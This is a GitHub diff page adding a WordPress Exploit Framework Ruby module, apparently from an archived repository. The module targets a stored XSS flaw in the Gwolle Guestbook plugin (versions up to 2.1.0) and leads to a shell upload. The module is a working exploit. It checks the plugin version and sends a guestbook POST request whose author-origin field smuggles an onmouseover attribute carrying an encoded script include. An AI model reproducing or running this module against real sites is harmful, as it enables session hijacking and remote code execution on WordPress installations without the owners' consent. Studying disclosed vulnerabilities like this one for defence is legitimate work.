This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +45
-0
lines changed Expand file tree Collapse file tree 1 file changed +45
-0
lines changed Original file line number Diff line number Diff line change
1
+ class Wpxf ::Exploit ::GwolleGuestbookStoredXssShellUpload < Wpxf ::Module
2
+ include Wpxf ::WordPress ::StoredXss
3
+
4
+ def initialize
5
+ super
6
+
7
+ update_info (
8
+ name : 'Gwolle Guestbook <= 2.1.0 Stored XSS Shell Upload' ,
9
+ author : [
10
+ 'Radjnies Bhansingh' , # Disclosure
11
+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12
+ ] ,
13
+ references : [
14
+ [ 'WPVDB' , '8785' ] ,
15
+ [ 'URL' , 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html' ]
16
+ ] ,
17
+ date : 'Mar 01 2017'
18
+ )
19
+ end
20
+
21
+ def check
22
+ check_plugin_version_from_readme ( 'gwolle-gb' , '2.1.1' )
23
+ end
24
+
25
+ def vulnerable_page
26
+ 'the post review page'
27
+ end
28
+
29
+ def store_script
30
+ execute_post_request (
31
+ url : full_uri ,
32
+ body : {
33
+ 'gwolle_gb_function' => 'add_entry' ,
34
+ 'gwolle_gb_book_id' => '1' ,
35
+ 'gwolle_gb_author_name' => Utility ::Text . rand_alpha ( 5 ) ,
36
+ 'gwolle_gb_author_origin' => "#{ Utility ::Text . rand_alpha ( 5 ) } \" onmouseover=#{ xss_ascii_encoded_include_script } a=\" " ,
37
+ 'gwolle_gb_author_email' => Utility ::Text . rand_email ,
38
+ 'gwolle_gb_author_website' => '' ,
39
+ 'gwolle_gb_subject' => Utility ::Text . rand_alpha ( 5 ) ,
40
+ 'gwolle_gb_content' => Utility ::Text . rand_alpha ( 10 ) ,
41
+ 'gwolle_gb_submit' => 'Submit'
42
+ }
43
+ )
44
+ end
45
+ end
You can’t perform that action at this time.
0 commit comments